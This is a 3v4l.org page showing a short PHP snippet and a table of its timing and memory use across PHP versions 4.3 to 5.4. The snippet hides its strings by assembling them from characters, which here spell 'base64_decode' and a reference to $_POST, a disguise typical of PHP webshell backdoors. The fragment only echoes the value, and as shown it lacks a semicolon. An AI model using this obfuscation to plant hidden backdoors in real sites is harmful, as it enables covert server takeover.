3v4l.org

run code in 300+ PHP versions simultaneously
<?php $sF = "PCT4BA6ODSE_"; $s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]); $s22 = $ { strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2]) } echo $s22;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.320.0050.03812.50
5.4.310.0060.03912.50
5.4.300.0060.04012.50
5.4.290.0070.04012.50
5.4.280.0050.03612.39
5.4.270.0060.03912.39
5.4.260.0080.03712.39
5.4.250.0080.03512.39
5.4.240.0060.04112.39
5.4.230.0060.03912.38
5.4.220.0060.03812.39
5.4.210.0050.03612.38
5.4.200.0060.03712.39
5.4.190.0050.03712.38
5.4.180.0070.03512.38
5.4.170.0050.03912.39
5.4.160.0080.03712.38
5.4.150.0050.03812.38
5.4.140.0050.04012.07
5.4.130.0070.03812.05
5.4.120.0070.03512.02
5.4.110.0060.03612.01
5.4.100.0070.03712.01
5.4.90.0070.03812.01
5.4.80.0080.03812.01
5.4.70.0060.03512.01
5.4.60.0050.03612.01
5.4.50.0060.03612.01
5.4.40.0040.03712.00
5.4.30.0060.03512.00
5.4.20.0050.03611.99
5.4.10.0060.03312.00
5.4.00.0040.03811.49
5.3.290.0070.04112.80
5.3.280.0060.03712.71
5.3.270.0060.04112.72
5.3.260.0050.04012.72
5.3.250.0060.03912.72
5.3.240.0060.04012.72
5.3.230.0050.04212.71
5.3.220.0060.03712.68
5.3.210.0080.03812.68
5.3.200.0070.03612.68
5.3.190.0070.03612.68
5.3.180.0060.03612.67
5.3.170.0060.03612.67
5.3.160.0080.03812.67
5.3.150.0080.03712.67
5.3.140.0060.03712.66
5.3.130.0080.03712.66
5.3.120.0050.04112.66
5.3.110.0050.03912.66
5.3.100.0070.03812.12
5.3.90.0050.03812.08
5.3.80.0060.03712.08
5.3.70.0050.03712.07
5.3.60.0070.03612.06
5.3.50.0050.04012.00
5.3.40.0050.04012.00
5.3.30.0050.03511.95
5.3.20.0050.03511.73
5.3.10.0060.04111.70
5.3.00.0060.03611.68
5.2.170.0050.0309.19
5.2.160.0050.0289.18
5.2.150.0060.0309.18
5.2.140.0040.0319.18
5.2.130.0040.0309.14
5.2.120.0060.0289.14
5.2.110.0040.0329.15
5.2.100.0050.0319.15
5.2.90.0050.0319.15
5.2.80.0050.0339.14
5.2.70.0040.0309.14
5.2.60.0060.0349.09
5.2.50.0060.0319.06
5.2.40.0050.0289.04
5.2.30.0040.0309.02
5.2.20.0060.0319.01
5.2.10.0050.0288.93
5.2.00.0050.0288.78
5.1.60.0050.0238.07
5.1.50.0050.0268.07
5.1.40.0060.0238.05
5.1.30.0050.0268.40
5.1.20.0050.0268.42
5.1.10.0060.0248.15
5.1.00.0060.0248.14
5.0.50.0040.0216.64
5.0.40.0040.0246.50
5.0.30.0040.0326.31
5.0.20.0040.0216.28
5.0.10.0020.0216.25
5.0.00.0030.0316.25
4.4.90.0030.0154.78
4.4.80.0050.0154.75
4.4.70.0040.0164.75
4.4.60.0020.0154.75
4.4.50.0030.0164.77
4.4.40.0020.0264.71
4.4.30.0030.0154.76
4.4.20.0040.0164.84
4.4.10.0040.0154.85
4.4.00.0040.0264.76
4.3.110.0030.0164.67
4.3.100.0040.0164.66
4.3.90.0020.0164.64
4.3.80.0030.0274.58
4.3.70.0020.0174.63
4.3.60.0030.0184.62
4.3.50.0020.0184.62
4.3.40.0030.0274.54
4.3.30.0030.0193.28
4.3.20.0020.0183.26
4.3.10.0020.0183.23
4.3.00.0070.0176.82

preferences:
139.9 ms | 1394 KiB | 7 Q